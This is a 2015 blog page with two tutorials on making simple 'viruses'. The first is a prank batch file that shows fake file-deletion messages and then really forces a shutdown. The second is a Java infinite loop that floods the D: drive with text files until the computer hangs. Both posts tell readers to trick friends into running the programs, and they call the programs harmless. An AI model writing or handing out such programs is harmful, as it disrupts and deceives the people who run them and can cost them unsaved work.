Thursday, 8 October 2015

Batch File Virus


How To Make A Batch File Virus ?

It's quiet easy to create a batch file virus and just for fun and as well easy to execute & they're not
harmful at all.



Step 1:

Open the typing program notepad on your computer. You'll use notepad to make the batch file.

Step 2:

If you have experience writing batch files feel free to modify and improve the below code, If you don't have experience than simply copy and paste the code into notepad. Save the file as a ".bat" file, such as "Virus.bat".

@echo off

title Cyber Attack Sequence Initiation
color 02
echo Warning-Complete File Corruption imminent.
timeout /t 3 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 10
timeout /t 1 /nobreak >nul
ClS
echo Complete file corruption and computer shutdown in 9
timeout /t 1 /nobreak >nul
ClS
echo Complete file corruption and computer shutdown in 8
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 7
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 6
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 5
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 4
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 3
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 2
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 1
timeout /t 1 /nobreak >nul
CLS
echo File corruption and computer shutdown initiated
timeout /t 3 /nobreak >nul
CLS
echo Corrupting Critical System Files...
echo del* *
timeout /t 2 /nobreak >nul
echo The System cannot find the file specified.
echo:
echo:
echo:
echo:
echo:
echo Corrupting Root Partition...
echo del C:\Windows
timeout /t 2 /nobreak >nul
echo Deletion Successful!
echo:
echo:
echo:
echo:
echo:
echo:
echo:
echo Disabling Windows Firewall...
echo Killing all processes...
timeout /t 2 /nobreak >nul
echo Allowing virus to boot from startup...
timeout /t 2 /nobreak >nul
echo:
echo:
echo:
echo:
echo:
echo Virus has been executed successfully!
echo:
echo:
echo Have Fun!
timeout /t 2 /nobreak >nul

shutdown -s -t 45 /c  Your computer has committed suicide. Have a nice day.



Step 3:

That's all :) Congratulation's you've made virus successfully and now just give this
file to your friend and tell him to execute it :)

NOTE: THIS IS ONLY FOR EDUCATIONAL 

PURPOSE ONLY.

Wednesday, 7 October 2015

How To Create Simple Virus Using Java?

Computer Virus:-

                         "A piece of code which is capable of copying itself and typically has a detrimental effect,                                    such as corrupting the system or destroying data."

Normally people's think that virus is something similar to atomic bomb or something but literally virus 
is a piece of code which execute's after some specified condition become true or we manually execute's
it.


Who Created Virus First ?

Published on Apr 17, 2013.
The first ever computer virus was developed in 1986 by two Pakistani brothers in Lahore Pakistan. The first computer virus named "Brain" was designed by Amjad Farooq Alvi and Basit Farooq Alvi with the intention of determining the piracy of a software written by them.


How To Create A 

Simple Virus And 

What Languages Are 

Used?

C Sharp and C++ are very popular language's in Cracking word. Sometimes hacker do use of other
object oriented languages such as Java n etc. Today I'll teach you how to create a simple virus using JAVA.

DETAILS OF VIRUS:-

This virus start creating multiple files in your drive and it will continue till this program is not
stopped manually but you can't stop this  program because it hang's your computer as well and to be honest I tried this virus on my PC and it created 80,000+ files in my drive.

Intensity OF VIRUS:-

This doesn't harm your data but may be possible it will destroy your RAM & make your processor abnormal.

IS THIS DETECTED BY ANY ANTI-VIRUS?

No! No anti virus will able to stop it because mainly anti viruses focuses for Trojan Horses, malicious etc.

STEP 1:
First of all you need to install java in your computer with JDK.

STEP 2:
Then make a loop which will whose scope must be infinite.

EXAMPLE:-
  int a=0;
  while(a<10){

   }
since we havn't incremented "a" which are variable in while block that's why it's scope is infinity.

STEP 3:
Import a file PrintWriter class which will create file and then type following code.

EXAMPLE:-
               try {
                PrintWriter b = null;
                
                b = new PrintWriter("d:\\"+ a + ".txt");
                
                b.write("Sorry..!! :P" + "\n Regards Hani");
            } catch (FileNotFoundException ex) {
                Logger.getLogger(NewJFrame.class.getName()).log(Level.SEVERE, null, ex);
            }


Here catch block is executed if exception is raised. I'll teach you about exceptions in java in my next blog.

STEP 4:
Now build application and give to your friend and tell him to execute and see a honey Shell :)
That's It. :)

You can download complete project by contacting me on facebook :)

https://www.facebook.com/Hearthackerhani

NOTE:THIS IS FOR ONLY EDUCATIONAL PURPOSE.

THANK YOU.